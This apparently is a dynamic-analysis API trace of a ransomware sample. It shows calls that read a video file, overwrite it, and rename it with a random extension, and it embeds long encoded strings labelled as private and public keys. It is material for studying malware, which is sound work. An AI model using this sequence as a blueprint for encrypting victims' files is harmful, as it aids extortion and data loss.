5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.223] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.224] GetCurrentThreadId () returned 0xa30 [0087.224] GetCurrentThreadId () returned 0xa30 [0087.224] GetCurrentThreadId () returned 0xa30 [0087.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.225] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.226] GetCurrentThreadId () returned 0xa30 [0087.226] GetCurrentThreadId () returned 0xa30 [0087.226] GetCurrentThreadId () returned 0xa30 [0087.226] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\tsgG.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\tsgg.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.226] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0087.227] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.227] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x184bd [0087.227] SetFilePointer (in: hFile=0x104, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0087.227] ReadFile (in: hFile=0x104, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x184bd, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f3d4*=0x184bd, lpOverlapped=0x0) returned 1 [0087.230] CloseHandle (hObject=0x104) returned 1 [0087.232] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\tsgG.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\tsgg.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104 [0087.235] WriteFile (in: hFile=0x104, lpBuffer=0x1f22ed0*, nNumberOfBytesToWrite=0x184bd, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f22ed0*, lpNumberOfBytesWritten=0x18f3e0*=0x184bd, lpOverlapped=0x0) returned 1 [0087.293] CloseHandle (hObject=0x104) returned 1 [0087.312] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\tsgG.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\tsgg.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\tsgG.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\tsgg.flv.zv7un")) returned 1 [0087.313] GetCurrentThreadId () returned 0xa30 [0087.314] GetCurrentThreadId () returned 0xa30 [0087.314] GetCurrentThreadId () returned 0xa30 [0087.314] GetCurrentThreadId () returned 0xa30 [0087.314] GetCurrentThreadId () returned 0xa30 [0087.314] GetCurrentThreadId () returned 0xa30 [0087.314] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d352f0, ftCreationTime.dwHighDateTime=0x1d5dfee, ftLastAccessTime.dwLowDateTime=0x870522e0, ftLastAccessTime.dwHighDateTime=0x1d5dd84, ftLastWriteTime.dwLowDateTime=0x870522e0, ftLastWriteTime.dwHighDateTime=0x1d5dd84, nFileSizeHigh=0x0, nFileSizeLow=0x53b7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="UirNPAL jHPFU2G.swf", cAlternateFileName="UIRNPA~1.SWF")) returned 1 [0087.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0087.314] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0087.314] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\UirNPAL jHPFU2G.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\uirnpal jhpfu2g.swf"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d352f0, ftCreationTime.dwHighDateTime=0x1d5dfee, ftLastAccessTime.dwLowDateTime=0x870522e0, ftLastAccessTime.dwHighDateTime=0x1d5dd84, ftLastWriteTime.dwLowDateTime=0x870522e0, ftLastWriteTime.dwHighDateTime=0x1d5dd84, nFileSizeHigh=0x0, nFileSizeLow=0x53b7)) returned 1 [0087.314] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\UirNPAL jHPFU2G.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dxp-tibe7amaj6pj\\oxu8xlndfhlvryrz\\uirnpal jhpfu2g.swf")) returned 0x20 [0087.314] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DxP-tIBe7AmaJ6pj\\oXu8xlNDfHLVRyrz\\UirNPAL jHPFU2G.swf", dwFileAttributes=0x80) returned 1 [0087.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.316] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8